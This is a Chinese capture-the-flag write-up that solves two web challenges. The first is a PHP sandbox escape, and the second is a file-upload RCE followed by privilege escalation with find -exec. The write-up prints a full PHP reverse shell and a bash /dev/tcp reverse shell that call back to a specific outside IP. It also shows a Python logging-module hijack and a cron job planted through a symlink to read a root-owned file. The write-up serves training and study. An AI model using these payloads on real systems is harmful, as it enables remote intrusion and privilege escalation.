复现会
php_online
can you break this sandbox?
给了py文件,先读代码
第一眼过去肯定是看到/路由下的id传参,即
session['id'] = id
# 将ID存储在会话中。
if not os.path.exists(f'/sandbox/{id}'):
# 检查沙箱目录是否存在,如果不存在,则创建。
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
这块内容,在复现会中师傅也说过题目在这里卡住了,想法是这个id的位置是否能够伪造,但是想到其在
if not id.isalnum() or len(id) != 8:这里就做了判断,其实是不行的,个人觉得这应该就是一个陷阱,继续往后跟踪,在创建沙箱后路由重定向到了/sandbox
在这里,code是可控的
code = request.form.get('code')
继续往下,第一个os操作会先进入到以用户id为名的文件夹中,并清空文件,而后以www-data的权限cp将app文件夹下的init.py复制到当前用户的目录,并以www-data的权限执行
os.popen(f'cd /sandbox/{user_id} && rm *').read() # 清空用户ID对应的文件夹
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
然后删除之前的php代码,创建新的phpcode文件,写入code传入的参数
php_file = open(f'/sandbox/{user_id}/phpcode', 'w') # 打开PHP代码文件
php_file.write(code) # 将提交的代码写入文件
php_file.close() # 关闭文件
之后以nobody的权限执行php代码,完成后删除文件
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() # 执行PHP代码并获取结果
os.popen(f'cd /sandbox/{user_id} && rm *').read() # 清空用户ID对应的文件夹
working_id.remove(user_id) # 从运行任务列表中移除用户ID
return result # 返回执行结果
读完代码的第一反应是限制的挺死的,如果在赛场上遇到这样的题目可能就死的透透的了,根据这次复现会我们可以知道其实问题的关键在与这两句代码
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() # 执行PHP代码并获取结果
AND
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
前者通过nobody权限执行了php,加上靶机出网就可以弹shell,权限再低也是shell,后者通过www权限copy了init.py到用户目录,并且用www权限执行了他,其中init的代码为
import logging
logger.info('Code execution start')
很简单的代码,仅仅调用了一个logging的第三方库,前面说过init会被复制到本地的用户目录,而py的导入顺序是先本地文件而后环境变量最后标准库,如果能够劫持logging即可拿到一个www权限
实操
截至到这里,如何拿到我们当前能看到的权限就很清晰了,需要两个沙盒,第一个沙盒获得一个nobody的反弹shell,劫持第二个沙盒的logging调用,运行第二个沙盒获得wwwshell
可能是环境问题,systm函数无法使用,后续使用proc_open成功获得shell

<?php
$sock = fsockopen("45.207.193.116", 9001); // 连接到远程服务器
if ($sock) {
// 打开一个进程,并将其输入、输出、错误流与套接字绑定
$descriptorspec = array(
0 => $sock, // 标准输入绑定到套接字
1 => $sock, // 标准输出绑定到套接字
2 => $sock // 标准错误绑定到套接字
);
$process = proc_open('sh', $descriptorspec, $pipes);
if (is_resource($process)) {
// 进程在运行时保持连接
while (!feof($sock)) {
fwrite($sock, fgets($sock, 1024));
}
fclose($sock);
proc_close($process);
}
}
?>
获得反弹shell
再拉起一个aaaaaaa2的沙盒使得/sandbox/aaaaaaa2存在
echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/45.207.193.116/9992 0>&1\"')" > /tmp/logging.py # 将反弹写入logging.py
echo "while true; do" >> /tmp/exp.sh
echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
# 创建一个.sh文件 因为删除的原因需要写入一个无限循环去copyloggin.py,来劫持文件
chmod +x /tmp/exp.sh
sh /tmp/exp.sh
而后在aaaaaa2的沙盒中随意执行代码,触发sudo -u www-data python3 init.py

劫持成功
特权文件没有什么值得关注的

在ps -aux中看到一个cron,存在计划任务,可以尝试进一步提权,再拉起一个aaaaaaa3的沙箱,让其与cron的目录做软链接
ln -s /etc/cron.d /sandbox/aaaaaaa3
再在3号沙箱中的phpcode中写入计划任务,也就是执行php代码
* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?> 避免瞬杀

注意 先做链接,再创建沙箱
GetFlag flag{41ad379131e075e4afc721f7639b9156}
总结
如果算上最后的计划任务,这个题目总计完成了两次提权,拿到三个shell,可以说相当的绕,如果在赛场遇到以我目前的水平可能会爆炸
这次复现使用的是bugku的靶场,不同点位于第一个shell的拿取,不能使用system函数得使用其他函数来反弹shell,第二点是写计划任务做的软链接,需要在沙盒起来之前就完成链接,否则如果文件夹存在创建的符号链接将会被放置在这个文件夹中,这点是我以前不知道的
admin_test
某系统有一个后台管理系统,里面的系统可以帮助管理员更好的管理系统并且防护来自于黑客的攻击,但仍存在漏洞,请尝试读取到系统当中的flag文件。
打开靶场环境,可以看到一个登入页面,先对其进行扫描

在admin.html下有上传的逻辑,也存在upload的php文件,yakit开起来fuzz

使用随机字符fuzz出来的信息是/*.t这几个字符不会触发Invalid char,截止到这里,在网络上查询过后我找到了一种解法,无字母数字rce
先要知道的是,在php文件上传过程中文件会先存储与/tmp/php****** 之中,而我们要做的就是通过构造一个./t*/*来执行在生命周期中的临时文件


没有权限,通过find 查询下特权文件 提权

find可以通过exec来提权 具体的用法是
-exec的作用是对找到的每个文件执行后面的命令

cat /flag

线下赛
minio需要点时间。。。